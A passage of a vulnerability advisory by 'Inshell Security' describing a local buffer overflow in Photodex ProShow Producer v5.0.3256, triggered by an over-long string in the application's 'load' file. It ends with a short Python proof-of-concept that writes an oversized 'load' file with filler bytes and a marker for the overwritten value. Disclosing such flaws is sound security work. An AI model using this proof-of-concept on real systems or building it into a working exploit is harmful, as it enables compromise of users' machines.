Inshell Security.  
  
  
3. VERSIONS AFFECTED  
--------------------  
Photodex ProShow Producer v5.0.3256, older versions may be affected too.  
  
  
4. VULNERABILITY DESCRIPTION  
----------------------------  
A Local Buffer Overflow Vulnerability has been found on the Photodex  
ProShow Producer v5.0.3256.  
  
When starting, the application loads the contents of the "load" file  
from its application directory. The application does not validate the  
length of the string loaded from the "load" file before passing it to a  
buffer, which leads to a Buffer Overflow.  
  
An attacker needs to force the victim to place an arbitrary "load" file  
into the application directory.  
  
  
5. PROOF-OF-CONCEPT (CODE / Exploit)  
------------------------------------  
#!/usr/bin/python  
file="load"  
  
junk1="\x41" * 9848  
boom="\x42\x42\x42\x42"  
junk2="\x43" * 100  
  
poc=junk1 + boom + junk2  
  
try:  
print "[*] Creating exploit file...\n";  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print "[*] File successfully created!";  
except:  
print "[!] Error while creating file!";
